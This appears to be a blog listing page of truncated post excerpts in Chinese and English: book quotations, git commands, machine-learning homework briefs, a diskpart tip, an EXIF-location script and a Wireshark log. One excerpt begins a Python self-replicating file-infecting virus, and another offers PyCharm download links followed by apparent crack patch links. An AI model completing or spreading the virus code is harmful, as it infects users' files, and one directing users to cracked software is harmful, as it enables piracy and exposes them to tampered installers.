关键不在认识谁，而在想认识谁。       克林顿，这位当年曾以在玫瑰花园和肯尼迪总统握过手为荣的儿童，现在已经长大并开始在政坛经营了。他不顾与他同船的那些未来同学的轻蔑和不满，把大量时间用在了贝克一伙人身上。 那天晚上，林登·约翰逊一共冲了四次澡。他四次披着浴巾，沿着大厅走到公用浴室，四次打开水龙头，涂上肥皂。第二天凌晨，他又早早起床，五次跑去刷牙，中间间隔只有五分钟。这位得克萨斯州的青...

温斯顿·丘吉尔认为：“成功是不丧失热情地从失败走向失败。” 从生物学上说，快乐本身不是目的，而是一种机制，是为了劝说我们追求对进化有用的目标，比如食物和性。       真相具有许多形式，有经验的沟通者可以利用这种多面性影响我们对于现实的印象。       作为秘鲁和玻利维亚的主食之一，它对当地人来说的确更贵了。这些国家的藜麦消费量的确下降...

创建仓库后初次提交 git init //把这个目录变成Git可以管理的仓库 git add . //把项目中的文件提交到仓库 git commit -m "first commit" //注释。“中的内容是注释的内容” git remote add origin https://github.com/0Zing/leetco...

题目：PCA模型实验 目标：实现一个PCA模型，能够对给定数据进行降维（即找到其中的主成分） 测试： （1）首先人工生成一些数据（如三维数据），让它们主要分布在低维空间中，如首先让某个维度的方差远小于其它唯独，然后对这些数据旋转。生成这些数据后，用你的PCA方法进行主成分提取。 （2）找一个人脸数据（小点样本量），用你实现PCA方法对该数据降维，找出...

题目：实现k-means聚类方法和混合高斯模型 目标：实现一个k-means算法和混合高斯模型，并且用EM算法估计模型中的参数。 测试： 用高斯分布产生k个高斯分布的数据（不同均值和方差）（其中参数自己设定）。 （1）用k-means聚类，测试效果； （2）用混合高斯模型和你实现的EM算法估计参数，看看每次迭代...

目的： 理解逻辑回归模型，掌握逻辑回归模型的参数估计算法。 要求： 实现两种损失函数的参数估计（1，无惩罚项；2.加入对参数的惩罚），可以采用梯度下降、共轭梯度或者牛顿法等。 验证： 1.可以手工生成两个分别类别数据（可以用高斯分布），验证你的算法。考察类条件分布不满足朴素贝叶斯假设，会得到什么样的结果。 2.逻辑回归有广泛的用处，例如广告预测。可以到UCI网站上，找一实际数...

目标： 掌握最小二乘法求解（无惩罚项的损失函数）、掌握加惩罚项（2范数）的损失函数优化、梯度下降法、共轭梯度法、理解过拟合、克服过拟合的方法(如加惩罚项、增加样本) 要求： （1）生成数据，加入噪声； （2）用高阶多项式函数拟合曲线； （3）用解析解求解两种loss的最优解（无正则项和有正则项） （4）优化方法求解最优解（梯...

      我曾经为政府服务，但现在，我为民众服务。我花了将近三十年才明白这是有差别的。       如今，具创造性的网络已然崩溃，因为那些美好、高难度、有个性的无数网站关闭了。便利性的承诺让大家关掉自己的个人网站，因为那需要不断、辛苦的维护，改换成脸书网页和Gmail帐号。所有权的表象让人容易搞错现实。很少人在当下即明白，我们所分享的一切都将不再属于我们。...

本来想着直接在命令行里操作结果却显示: ‘diskpart’ 不是内部或外部命令，也不是可运行的程序 或批处理文件。 可能是系统盘中该功能的路径出了问题,但是应该还是有diskpart功能的,所以在C盘中搜索diskpart. 下面的就是找出来的正确的diskpark程序了. list disk 看一下都有什么盘 ...

pycharm2018.3.3下载链接 https://download.jetbrains.8686c.com/python/pycharm-professional-2018.3.3.exe https://download.jetbrains.com/python/pycharm-professional-2018.3.3.exe 补丁下载链接 http...

看起来一切以思想和理智为行为标准，但实际上，情感才是心中最重视的东西。       想要发现矛盾，并找到解决问题的办法，我们首先要先知道自己想要的是什么，这还不算什么，更重要的是要知道，我们到底有什么样的感情。       只有我们自己的价值观，才能引起冲突并指引我们做出决定，别人的价值观是不会对我们产生这种影响的。       然而，我...

Extract images with location information from a large number of jpg images. import shutil import os import exifread import re def latitude_and_longitude_convert_to_decimal_system(*arg): try: ...

伟大的艺术家米开朗琪罗曾说，他的雕塑作品原本就已经藏在石头里，他所做的只不过是凿去多余的部分。       绝境之下的选择是必需的，而非机会。       做出选择的欲望是与生俱来的，我们几乎在会表达之前就已经具有了选择行为。在对仅4个月大的婴儿所做的研究中，研究人员将琴弦放在婴儿的手指上，并让婴儿知道只要用力拉动琴弦，就会产生美妙的音乐。随后，研究人员将琴弦与音乐...

然而，在一个民主社会里，有的只是报刊和社会舆论没完没了的鼓噪，让每个生活在底层的人都相信他们总有机会攀上社会金字塔的塔尖，有机会成为实业家、大法官、科学家，甚至是总统。这种无限机遇的论调在一开始也许能给人一种盲目的乐观，对那些底层的年轻人尤甚。但在他们之中，只有极少数最优秀的幸运儿才有机会脱颖而出，实现他们的梦想；而多数的人，随着时间一天天过去，他们并不能改变自己的身份，正如托克维尔所言，他...

马克思列宁主义有一种决定论的历史观。它的信徒们相信历史必定走向世界共产主义，相信加速历史的这种进程是他们的职责。他们这样看待自己，所以就避开道德的一切考虑。       一个领导人跻身于伟大领袖之列的可靠公式有三个要素：伟大的人物，伟大的国家和伟大的事件。       只有当一位领袖的能力受到最大限度的挑战时，我们才能充分地衡量其伟大的程度。 也有另一些人物，他们虽是...

A virus which can copy itself to another files. import os #Be usedd to identify that file is infected or not. SIGNATURE = "PYTHON VIRUS" def search(path): filestoinfect = [] #listdir() retu...

      人们会逐渐爱上工业技术带来的娱乐和文化,不再思考. - 《美丽新世界》       毁掉我们的不是我们憎恨的东西,恰恰是我们热爱的东西.       理智的人适应环境,而世界上所有的进步都依赖不理智的人. - 保罗.莱文森       处在一个信息...

score_calculator.py from matplotlib import pyplot as plt def function(file_path): ''' 可以根据实际课程类型增添contains - replace :param file_path:成绩路径 :return: 各阶段成绩 ''' score_list = [...

To solve this problem,I used Wireshark to analyse. And then: 85 2.155418 172.20.124.1 202.118.224.101 DNS 78 Standard query 0x7e86 AAAA ancheon.disqus.com 86 2.182106 172.20.124.1 202.118.224....

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